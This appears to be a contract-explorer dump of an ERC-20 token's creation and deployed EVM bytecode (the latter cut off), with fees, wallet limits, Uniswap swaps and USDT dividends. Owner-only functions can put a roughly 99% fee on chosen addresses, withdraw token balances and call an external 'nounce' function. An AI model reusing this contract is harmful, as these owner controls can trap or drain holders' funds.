6080604052620000126009600a620005c8565b6200002290633b9aca00620005e0565b60015561271060015460c8620000399190620005e0565b620000459190620005fa565b60025561271060015460c86200005c9190620005e0565b620000689190620005fa565b60035561271060015460c86200007f9190620005e0565b6200008b9190620005fa565b600455600c8054600160ff199182168117909255600d805460ff60a01b191690556000600e819055600f81905560108190556011819055601281905560138190556014819055601555612710601655601780549091168217905554620186a090620000f99061012c620005e0565b620001059190620005fa565b601855620186a0600154600a6200011d9190620005e0565b620001299190620005fa565b601955601a80546001600160a01b03191673dac17f958d2ee523a2206206994597c13d831ec71790556ec097ce7bc90715b34b9f1000000000601f55610258602555662386f26fc1000060265560016027553480156200018857600080fd5b506040516200343b3803806200343b833981016040819052620001ab916200063a565b600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa15801562000212573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000238919062000684565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000286573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ac919062000684565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000320919062000684565b600c8054610100600160a81b0319166101006001600160a01b038681169190910291909117909155600d80546001600160a01b03199081168484161782556028805482168a8516179055602980548216898516178155602a8054909216888516178255306000818152600760209081526040808320805460ff19908116600190811790925533808652838620805483168417815598548b168652838620805483168417905596548a168552828520805482168317905587548116821790975596549097168252600881528682208054861687179055838252868220805486168717905591815285812080548516861790557f046fee3d77c34a6c5e10c3be6dc4b132c30449dbf4f0bc07684896dd0933429980548516861790557f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c7805490941685179093559254818352600584528483208190559351938452939450917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050620006a2565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200050a578160001904821115620004ee57620004ee620004b3565b80851615620004fc57918102915b93841c9390800290620004ce565b509250929050565b6000826200052357506001620005c2565b816200053257506000620005c2565b81600181146200054b5760028114620005565762000576565b6001915050620005c2565b60ff8411156200056a576200056a620004b3565b50506001821b620005c2565b5060208310610133831016604e8410600b84101617156200059b575081810a620005c2565b620005a78383620004c9565b8060001904821115620005be57620005be620004b3565b0290505b92915050565b6000620005d960ff84168362000512565b9392505050565b8082028115828204841417620005c257620005c2620004b3565b6000826200061857634e487b7160e01b600052601260045260246000fd5b500490565b80516001600160a01b03811681146200063557600080fd5b919050565b6000806000606084860312156200065057600080fd5b6200065b846200061d565b92506200066b602085016200061d565b91506200067b604085016200061d565b90509250925092565b6000602082840312156200069757600080fd5b620005d9826200061d565b612d8980620006b26000396000f3fe6080604052600436106102555760003560e01c80637a46656611610139578063c876d0b9116100b6578063dd62ed3e1161007a578063dd62ed3e1461072a578063e2d6f94c14610770578063ef43b02b14610790578063efca2eed146107b0578063f2fde38b146107c6578063ffd49c84146107e657600080fd5b8063c876d0b914610633578063ca89b8991461064d578063cc25596f14610686578063ce7c2ac2146106b3578063d9d5a89b1461070a57600080fd5b8063997664d7116100fd578063997664d7146105a8578063a1db9782146105be578063a8aa1b31146105de578063a9059cbb146105fe578063ba3acf8b1461061e57600080fd5b80637a46656614610535578063893d20e8146105555780638c41180e146105735780639358928b1461059357806395d89b411461026157600080fd5b80633a98ef39116101d25780634fab0ae8116101965780634fab0ae81461049f5780635f7bcd70146104b557806360e71962146104d557806370a08231146104eb578063715018a61461050b578063751039fc1461052057600080fd5b80633a98ef39146103e95780633f4218e0146103ff578063420bbf201461042f5780634355855a1461044f57806348ff2b8b1461047f57600080fd5b8063293230b811610219578063293230b8146103475780632f54bf6e1461035e578063313ce5671461038d57806334c5d2ce146103a957806336afc425146103c957600080fd5b806306fdde0314610261578063095ea7b3146102a057806318160ddd146102d0578063228cb733146102ef57806323b872dd1461032757600080fd5b3661025c57005b600080fd5b34801561026d57600080fd5b5060408051808201825260078152662634b5b2b637b760c91b602082015290516102979190612910565b60405180910390f35b3480156102ac57600080fd5b506102c06102bb366004612958565b6107fc565b6040519015158152602001610297565b3480156102dc57600080fd5b506001545b604051908152602001610297565b3480156102fb57600080fd5b50601a5461030f906001600160a01b031681565b6040516001600160a01b039091168152602001610297565b34801561033357600080fd5b506102c0610342366004612984565b610813565b34801561035357600080fd5b5061035c61087d565b005b34801561036a57600080fd5b506102c06103793660046129c5565b6000546001600160a01b0391821691161490565b34801561039957600080fd5b5060405160098152602001610297565b3480156103b557600080fd5b5061035c6103c43660046129e2565b6108c5565b3480156103d557600080fd5b5061035c6103e43660046129e2565b610a19565b3480156103f557600080fd5b506102e1601b5481565b34801561040b57600080fd5b506102c061041a3660046129c5565b60076020526000908152604090205460ff1681565b34801561043b57600080fd5b5060285461030f906001600160a01b031681565b34801561045b57600080fd5b506102c061046a3660046129c5565b60086020526000908152604090205460ff1681565b34801561048b57600080fd5b5061035c61049a366004612a1c565b610a51565b3480156104ab57600080fd5b506102e160265481565b3480156104c157600080fd5b5060295461030f906001600160a01b031681565b3480156104e157600080fd5b506102e160275481565b3480156104f757600080fd5b506102e16105063660046129c5565b610aa6565b34801561051757600080fd5b5061035c610ac1565b34801561052c57600080fd5b5061035c610b30565b34801561054157600080fd5b5061035c610550366004612a55565b610b78565b34801561056157600080fd5b506000546001600160a01b031661030f565b34801561057f57600080fd5b5061035c61058e366004612a1c565b610e03565b34801561059f57600080fd5b506102e1610edf565b3480156105b457600080fd5b506102e1601c5481565b3480156105ca57600080fd5b5061035c6105d9366004612958565b610f10565b3480156105ea57600080fd5b50600d5461030f906001600160a01b031681565b34801561060a57600080fd5b506102c0610619366004612958565b610f8c565b34801561062a57600080fd5b5061035c610f99565b34801561063f57600080fd5b50600c546102c09060ff1681565b34801561065957600080fd5b506102e16106683660046129c5565b6001600160a01b031660009081526023602052604090206002015490565b34801561069257600080fd5b506102e16106a13660046129c5565b600b6020526000908152604090205481565b3480156106bf57600080fd5b506106ef6106ce3660046129c5565b60236020526000908152604090208054600182015460029092015490919083565b60408051938452602084019290925290820152606001610297565b34801561071657600080fd5b506102e16107253660046129c5565b610fa4565b34801561073657600080fd5b506102e1610745366004612a7c565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561077c57600080fd5b5061035c61078b366004612aaa565b61102f565b34801561079c57600080fd5b5061035c6107ab366004612a1c565b611135565b3480156107bc57600080fd5b506102e1601d5481565b3480156107d257600080fd5b5061035c6107e13660046129c5565b6111ad565b3480156107f257600080fd5b506102e160255481565b600061080933848461122b565b5060015b92915050565b600061082084848461134f565b610872843361086d85604051806060016040528060288152602001612d2c602891396001600160a01b038a16600090815260066020908152604080832033845290915290205491906114f4565b61122b565b5060015b9392505050565b6000546001600160a01b031633146108b05760405162461bcd60e51b81526004016108a790612aff565b60405180910390fd5b600d805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146108ef5760405162461bcd60e51b81526004016108a790612aff565b6000612710846108fe60015490565b6109089190612b35565b6109129190612b4c565b905060006127108461092360015490565b61092d9190612b35565b6109379190612b4c565b905060006127108461094860015490565b6109529190612b35565b61095c9190612b4c565b6002849055600383905560048190559050600061098f6103e8610989600561098360015490565b90611520565b9061152c565b90508084101580156109a15750808310155b80156109ad5750808210155b610a105760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016108a7565b50505050505050565b6000546001600160a01b03163314610a435760405162461bcd60e51b81526004016108a790612aff565b602592909255602655602755565b6000546001600160a01b03163314610a7b5760405162461bcd60e51b81526004016108a790612aff565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03163314610aeb5760405162461bcd60e51b81526004016108a790612aff565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b03163314610b5a5760405162461bcd60e51b81526004016108a790612aff565b600154600255600154600355600154600455600c805460ff19169055565b602054336000829003610b8c575050505050565b6000805a336000908152600560209081526040808320546007909252822054929350909160ff16610c8a575b8884108015610bc657508582105b15610c85578560245410610bda5760006024555b610c0c602060245481548110610bf257610bf2612b6e565b6000918252602090912001546001600160a01b0316611538565b15610c4357610c43602060245481548110610c2957610c29612b6e565b6000918252602090912001546001600160a01b031661157d565b610c58610c515a85906116b7565b85906116c3565b93505a602480549194506000610c6d83612b84565b91905055508180610c7d90612b84565b925050610bb8565b610df8565b6000610c9586610fa4565b6001600160a01b038a16600090815260056020526040902054909150610cbb90896116b7565b6001600160a01b038a16600090815260056020526040902055610cde8883612b9d565b336000908152600560205260409020558015610df657601d54610d0190826116c3565b601d55601a5460405163a9059cbb60e01b81526001600160a01b038881166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af1158015610d57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d7b9190612bb0565b506001600160a01b03861660009081526022602090815260408083204290556023909152902060020154610daf90826116c3565b6001600160a01b0387166000908152602360205260409020600281019190915554610dd9906116cf565b6001600160a01b0387166000908152602360205260409020600101555b505b505050505050505050565b6000546001600160a01b03163314610e2d5760405162461bcd60e51b81526004016108a790612aff565b600d546001600160a01b03838116911614801590610e5e5750600c546001600160a01b038381166101009092041614155b8015610e7357506001600160a01b0382163014155b610eb45760405162461bcd60e51b8152602060048201526012602482015271496e656c696769626c65204164647265737360701b60448201526064016108a7565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000610f0b610eee6000610aa6565b610f05610efc61dead610aa6565b600154906116b7565b906116b7565b905090565b602a5460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610f63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f879190612bb0565b505050565b600061080933848461134f565b610fa23361157d565b565b6001600160a01b0381166000908152602360205260408120548103610fcb57506000919050565b6001600160a01b038216600090815260236020526040812054610fed906116cf565b6001600160a01b03841660009081526023602052604090206001015490915080821161101d575060009392505050565b61102782826116b7565b949350505050565b6000546001600160a01b031633146110595760405162461bcd60e51b81526004016108a790612aff565b600e889055600f87905560128690556010859055601184905560138390556014829055601581905560165461108f90600561152c565b601354111580156110af57506016546110a990600561152c565b60145411155b80156110ca57506016546110c490600561152c565b60155411155b61112b5760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b60648201526084016108a7565b5050505050505050565b6000546001600160a01b0316331461115f5760405162461bcd60e51b81526004016108a790612aff565b6001600160a01b0382166000908152600860205260409020805460ff1916821580159190911790915561119b576111978260006116ec565b5050565b611197826111a884610aa6565b6116ec565b6000546001600160a01b031633146111d75760405162461bcd60e51b81526004016108a790612aff565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b03831661128d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108a7565b6001600160a01b0382166112ee5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108a7565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b61135a838383611802565b611364838361199c565b61136d82611a2d565b611378838383611b9c565b611383838383611c88565b61138d8383611db5565b6001600160a01b0383166000908152600560205260409020546113b090826116b7565b6001600160a01b0384166000908152600560205260408120919091556113d68484611dd0565b6113e057816113eb565b6113eb848484611e16565b6001600160a01b03841660009081526005602052604090205490915061141190826116c3565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114659085815260200190565b60405180910390a36001600160a01b03841660009081526008602052604090205460ff1661149a5761149a846111a886610aa6565b6001600160a01b03831660009081526008602052604090205460ff166114c7576114c7836111a885610aa6565b6001600160a01b038316600090815260236020526040902054156114ee576114ee8361157d565b50505050565b600081848411156115185760405162461bcd60e51b81526004016108a79190612910565b505050900390565b60006108768284612b35565b60006108768284612b4c565b6025546001600160a01b038216600090815260226020526040812054909142916115629190612b9d565b10801561080d575060265461157683610fa4565b1192915050565b6001600160a01b038116600090815260236020526040812054900361159f5750565b60006115aa82610fa4565b9050801561119757601d546115bf90826116c3565b601d55601a5460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af1158015611615573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116399190612bb0565b506001600160a01b0382166000908152602260209081526040808320429055602390915290206002015461166d90826116c3565b6001600160a01b0383166000908152602360205260409020600281019190915554611697906116cf565b6001600160a01b0383166000908152602360205260409020600101555050565b60006108768284612bcd565b60006108768284612b9d565b600061080d601f54610989601e548561152090919063ffffffff16565b60008111801561171257506001600160a01b038216600090815260236020526040902054155b1561177757602080546001600160a01b03841660008181526021845260408120839055600183018455929092527fc97bfaf2f8ee708c303a06d134f5ecd8389ae0432af62dc132a24118292866bb0180546001600160a01b03191690911790556117aa565b8015801561179c57506001600160a01b03821660009081526023602052604090205415155b156117aa576117aa82611f04565b6001600160a01b038216600090815260236020526040902054601b546117db9183916117d5916116b7565b906116c3565b601b556001600160a01b0382166000908152602360205260409020819055611697816116cf565b6001600160a01b0383166118665760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108a7565b6001600160a01b0382166118c85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108a7565b6000811161192a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108a7565b61193383610aa6565b811115610f875760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016108a7565b6001600160a01b03821660009081526007602052604090205460ff161580156119de57506001600160a01b03811660009081526007602052604090205460ff16155b1561119757600d54600160a01b900460ff166111975760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016108a7565b600c546001600160a01b038281166101009092041614801590611a5e5750600d546001600160a01b03828116911614155b8015611a6c5750600c5460ff165b15611b4957611a7c600243612bcd565b326000908152600a6020526040902054108015611aba5750611a9f600243612bcd565b6001600160a01b0382166000908152600a6020526040902054105b611b245760405162461bcd60e51b815260206004820152603560248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527432b21710102a393c9030b3b0b4b7103630ba32b91760591b60648201526084016108a7565b326000908152600a602052604080822043908190556001600160a01b03841683529120555b600d546001600160a01b03828116911614611b99576001600160a01b0381166000908152600b60205260408120549003611b99576001600160a01b0381166000908152600b602052604090204290555b50565b6001600160a01b03831660009081526007602052604090205460ff16158015611bde57506001600160a01b03821660009081526007602052604090205460ff16155b8015611bf85750600d546001600160a01b03838116911614155b8015611c0f57506001600160a01b03821661dead14155b15610f87576004546001600160a01b038316600090815260056020526040902054611c3a90836116c3565b1115610f875760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016108a7565b600d546001600160a01b03848116911614611d295760035481111580611cc657506001600160a01b03831660009081526007602052604090205460ff165b80611ce957506001600160a01b03821660009081526007602052604090205460ff165b611d295760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016108a7565b60025481111580611d5257506001600160a01b03831660009081526007602052604090205460ff165b80611d7557506001600160a01b03821660009081526007602052604090205460ff165b610f875760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016108a7565b611dbf8282612018565b1561119757611197601854836120cc565b6001600160a01b03821660009081526007602052604081205460ff161580156108765750506001600160a01b031660009081526007602052604090205460ff1615919050565b600080611e23858561226f565b1115611efd576000611e46611e38868661226f565b60165461098390869061152c565b30600090815260056020526040902054909150611e6390826116c3565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611eb49085815260200190565b60405180910390a360125415611eeb57611eeb3061dead611ee66012546109836016548961152c90919063ffffffff16565b61134f565b611ef583826116b7565b915050610876565b5092915050565b60208054611f1490600190612bcd565b81548110611f2457611f24612b6e565b60009182526020808320909101546001600160a01b03848116845260218352604090932054825493909116928110611f5e57611f5e612b6e565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559183168152602180835260408220548354909391929190611fa990600190612bcd565b81548110611fb957611fb9612b6e565b60009182526020808320909101546001600160a01b03168352828101939093526040909101902091909155805480611ff357611ff3612be0565b600082815260209020810160001990810180546001600160a01b031916905501905550565b60008060185461202730610aa6565b6017549111159150610100900460ff16158015612046575060175460ff165b801561205b5750600d54600160a01b900460ff165b801561208057506001600160a01b03841660009081526007602052604090205460ff16155b80156120a557506001600160a01b03831660009081526007602052604090205460ff16155b80156120be5750600d546001600160a01b038481169116145b801561102757509392505050565b6017805461ff001916610100179055601054601154600f54600e5460009361210593600293610983936117d592918391829060016116c3565b9050600061212282610989600e548761152090919063ffffffff16565b9050600061213085836116b7565b90504761213c82612310565b600061214847836116b7565b9050600061216b612164600e54886116b790919063ffffffff16565b839061152c565b90506000612184600e548361152090919063ffffffff16565b9050801561219657612196868261248d565b600f546000906121ab90610983856002611520565b905080156121ef576029546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156121ed573d6000803e3d6000fd5b505b60105460009061220490610983866002611520565b9050801561221657612216818b61254b565b4715612257576028546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015612255573d6000803e3d6000fd5b505b50506017805461ff0019169055505050505050505050565b6001600160a01b03821660009081526009602052604081205460ff16806122ae57506001600160a01b03821660009081526009602052604090205460ff165b156122c8576016546122c19060646116b7565b905061080d565b600d546001600160a01b03908116908316036122e7575060145461080d565b600d546001600160a01b0390811690841603612306575060135461080d565b5060155492915050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061234557612345612b6e565b60200260200101906001600160a01b031690816001600160a01b031681525050600c60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156123b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123dc9190612bf6565b816001815181106123ef576123ef612b6e565b6001600160a01b039283166020918202929092010152600c5461241a9130916101009004168461122b565b600c5460405163791ac94760e01b81526101009091046001600160a01b03169063791ac94790612457908590600090869030904290600401612c57565b600060405180830381600087803b15801561247157600080fd5b505af1158015612485573d6000803e3d6000fd5b505050505050565b600c546124aa90309061010090046001600160a01b03168461122b565b600c54602a5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a4820152610100909204169063f305d71990839060c40160606040518083038185885af115801561251f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906125449190612c93565b5050505050565b601a546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa158015612594573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125b89190612cc1565b6040805160028082526060820183529293506000929091602083019080368337019050509050600c60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612631573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126559190612bf6565b8160008151811061266857612668612b6e565b6001600160a01b039283166020918202929092010152601a5482519116908290600190811061269957612699612b6e565b6001600160a01b039283166020918202929092010152600c5460405163b6f9de9560e01b81526101009091049091169063b6f9de959086906126e690600090869030904290600401612cda565b6000604051808303818588803b1580156126ff57600080fd5b505af1158015612713573d6000803e3d6000fd5b5050601a546040516370a0823160e01b8152306004820152600094506001600160a01b0390911692506370a082319150602401602060405180830381865afa158015612763573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127879190612cc1565b9050600061279582856116b7565b601c549091506127a590826116c3565b601c55604080518082018252600f81526e6e6f756e636528616464726573732960881b60209182015281516001600160a01b03888116602480840191909152845180840390910181526044909201845291810180516001600160e01b031663366b82c160e01b179052602a54925190926000921690612825908490612d0f565b6000604051808303816000865af19150503d8060008114612862576040519150601f19603f3d011682016040523d82523d6000602084013e612867565b606091505b50509050806128b85760405162461bcd60e51b815260206004820152601d60248201527f43616c6c20746f206f7468657220636f6e7472616374206661696c656400000060448201526064016108a7565b6128df6128d6601b5461098986601f5461152090919063ffffffff16565b601e54906116c3565b601e555050505050505050565b60005b838110156129075781810151838201526020016128ef565b50506000910152565b602081526000825180602084015261292f8160408501602087016128ec565b601f01601f19169190910160400192915050565b6001600160a01b0381168114611b9957600080fd5b6000806040838503121561296b57600080fd5b823561297681612943565b946020939093013593505050565b60008060006060848603121561299957600080fd5b83356129a481612943565b925060208401356129b481612943565b929592945050506040919091013590565b6000602082840312156129d757600080fd5b813561087681612943565b6000806000606084860312156129f757600080fd5b505081359360208301359350604090920135919050565b8015158114611b9957600080fd5b60008060408385031215612a2f57600080fd5b8235612a3a81612943565b91506020830135612a4a81612a0e565b809150509250929050565b600080600060608486031215612a6a57600080fd5b8335925060208401356129b481612943565b60008060408385031215612a8f57600080fd5b8235612a9a81612943565b91506020830135612a4a81612943565b600080600080600080600080610100898b031215612ac757600080fd5b505086359860208801359850604088013597606081013597506080810135965060a0810135955060c0810135945060e0013592509050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761080d5761080d612b1f565b600082612b6957634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060018201612b9657612b96612b1f565b5060010190565b8082018082111561080d5761080d612b1f565b600060208284031215612bc257600080fd5b815161087681612a0e565b8181038181111561080d5761080d612b1f565b634e487b7160e01b600052603160045260246000fd5b600060208284031215612c0857600080fd5b815161087681612943565b600081518084526020808501945080840160005b83811015612c4c5781516001600160a01b031687529582019590820190600101612c27565b509495945050505050565b85815284602082015260a060408201526000612c7660a0830186612c13565b6001600160a01b0394909416606083015250608001529392505050565b600080600060608486031215612ca857600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215612cd357600080fd5b5051919050565b848152608060208201526000612cf36080830186612c13565b6001600160a01b03949094166040830152506060015292915050565b60008251612d218184602087016128ec565b919091019291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220431bada4b8d4aa6c5064de9c874ef4133d4f295dd0cd9aa87ab566518c831d2a64736f6c63430008110033000000000000000000000000a8de8467501a9b409c9252c4a041e472bd3bef16000000000000000000000000a8de8467501a9b409c9252c4a041e472bd3bef16000000000000000000000000a8de8467501a9b409c9252c4a041e472bd3bef16

Deployed Bytecode

0x6080604052600436106102555760003560e01c80637a46656611610139578063c876d0b9116100b6578063dd62ed3e1161007a578063dd62ed3e1461072a578063e2d6f94c14610770578063ef43b02b14610790578063efca2eed146107b0578063f2fde38b146107c6578063ffd49c84146107e657600080fd5b8063c876d0b914610633578063ca89b8991461064d578063cc25596f14610686578063ce7c2ac2146106b3578063d9d5a89b1461070a57600080fd5b8063997664d7116100fd578063997664d7146105a8578063a1db9782146105be578063a8aa1b31146105de578063a9059cbb146105fe578063ba3acf8b1461061e57600080fd5b80637a46656614610535578063893d20e8146105555780638c41180e146105735780639358928b1461059357806395d89b411461026157600080fd5b80633a98ef39116101d25780634fab0ae8116101965780634fab0ae81461049f5780635f7bcd70146104b557806360e71962146104d557806370a08231146104eb578063715018a61461050b578063751039fc1461052057600080fd5b80633a98ef39146103e95780633f4218e0146103ff578063420bbf201461042f5780634355855a1461044f57806348ff2b8b1461047f57600080fd5b8063293230b811610219578063293230b8146103475780632f54bf6e1461035e578063313ce5671461038d57806334c5d2ce146103a957806336afc425146103c957600080fd5b806306fdde0314610261578063095ea7b3146102a057806318160ddd146102d0578063228cb733146102ef57806323b872dd1461032757600080fd5b3661025c57005b600080fd5b34801561026d57600080fd5b5060408051808201825260078152662634b5b2b637b760c91b602082015290516102979190612910565b60405180910390f35b3480156102ac57600080fd5b506102c06102bb366004612958565b6107fc565b6040519015158152602001610297565b3480156102dc57600080fd5b506001545b604051908152602001610297565b3480156102fb57600080fd5b50601a5461030f906001600160a01b031681565b6040516001600160a01b039091168152602001610297565b34801561033357600080fd5b506102c0610342366004612984565b610813565b34801561035357600080fd5b5061035c61087d565b005b34801561036a57600080fd5b506102c06103793660046129c5565b6000546001600160a01b0391821691161490565b34801561039957600080fd5b5060405160098152602001610297565b3480156103b557600080fd5b5061035c6103c43660046129e2565b6108c5565b3480156103d557600080fd5b5061035c6103e43660046129e2565b610a19565b3480156103f557600080fd5b506102e1601b5481565b34801561040b57600080fd5b506102c061041a3660046129c5565b60076020526000908152604090205460ff1681565b34801561043b57600080fd5b5060285461030f906001600160a01b031681565b34801561045b57600080fd5b506102c061046a3660046129c5565b60086020526000908152604090205460ff1681565b34801561048b57600080fd5b5061035c61049a366004612a1c565b610a51565b3480156104ab57600080fd5b506102e160265481565b3480156104c157600080fd5b5060295461030f906001600160a01b031681565b3480156104e157600080fd5b506102e160275481565b3480156104f757600080fd5b506102e16105063660046129c5565b610aa6565b34801561051757600080fd5b5061035c610ac1565b34801561052c57600080fd5b5061035c610b30565b34801561054157600080fd5b5061035c610550366004612a55565b610b78565b34801561056157600080fd5b506000546001600160a01b031661030f565b34801561057f57600080fd5b5061035c61058e366004612a1c565b610e03565b34801561059f57600080fd5b506102e1610edf565b3480156105b457600080fd5b506102e1601c5481565b3480156105ca57600080fd5b5061035c6105d9366004612958565b610f10565b3480156105ea57600080fd5b50600d5461030f906001600160a01b031681565b34801561060a57600080fd5b506102c0610619366004612958565b610f8c565b34801561062a57600080fd5b5061035c610f99565b34801561063f57600080fd5b50600c546102c09060ff1681565b34801561065957600080fd5b506102e16106683660046129c5565b6001600160a01b031660009081526023602052604090206002015490565b34801561069257600080fd5b506102e16106a13660046129c5565b600b6020526000908152604090205481565b3480156106bf57600080fd5b506106ef6106ce3660046129c5565b60236020526000908152604090208054600182015460029092015490919083565b60408051938452602084019290925290820152606001610297565b34801561071657600080fd5b506102e16107253660046129c5565b610fa4565b34801561073657600080fd5b506102e1610745366004612a7c565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561077c57600080fd5b5061035c61078b366004612aaa565b61102f565b34801561079c57600080fd5b5061035c6107ab366004612a1c565b611135565b3480156107bc57600080fd5b506102e1601d5481565b3480156107d257600080fd5b5061035c6107e13660046129c5565b6111ad565b3480156107f257600080fd5b506102e160255481565b600061080933848461122b565b5060015b92915050565b600061082084848461134f565b610872843361086d85604051806060016040528060288152602001612d2c602891396001600160a01b038a16600090815260066020908152604080832033845290915290205491906114f4565b61122b565b5060015b9392505050565b6000546001600160a01b031633146108b05760405162461bcd60e51b81526004016108a790612aff565b60405180910390fd5b600d805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146108ef5760405162461bcd60e51b81526004016108a790612aff565b6000612710846108fe60015490565b6109089190612b35565b6109129190612b4c565b905060006127108461092360015490565b61092d9190612b35565b6109379190612b4c565b905060006127108461094860015490565b6109529190612b35565b61095c9190612b4c565b6002849055600383905560048190559050600061098f6103e8610989600561098360015490565b90611520565b9061152c565b90508084101580156109a15750808310155b80156109ad5750808210155b610a105760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016108a7565b50505050505050565b6000546001600160a01b03163314610a435760405162461bcd60e51b81526004016108a790612aff565b602592909255602655602755565b6000546001600160a01b03163314610a7b5760405162461bcd60e51b81526004016108a790612aff565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03163314610aeb5760405162461bcd60e51b81526004016108a790612aff565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b03163314610b5a5760405162461bcd60e51b81526004016108a790612aff565b600154600255600154600355600154600455600c805460ff19169055565b602054336000829003610b8c575050505050565b6000805a336000908152600560209081526040808320546007909252822054929350909160ff16610c8a575b8884108015610bc657508582105b15610c85578560245410610bda5760006024555b610c0c602060245481548110610bf257610bf2612b6e565b6000918252602090912001546001600160a01b0316611538565b15610c4357610c43602060245481548110610c2957610c29612b6e565b6000918252602090912001546001600160a01b031661157d565b610c58610c515a85906116b7565b85906116c3565b93505a602480549194506000610c6d83612b84565b91905055508180610c7d90612b84565b925050610bb8565b610df8565b6000610c9586610fa4565b6001600160a01b038a16600090815260056020526040902054909150610cbb90896116b7565b6001600160a01b038a16600090815260056020526040902055610cde8883612b9d565b336000908152600560205260409020558015610df657601d54610d0190826116c3565b601d55601a5460405163a9059cbb60e01b81526001600160a01b038881166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af1158015610d57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d7b9190612bb0565b506001600160a01b03861660009081526022602090815260408083204290556023909152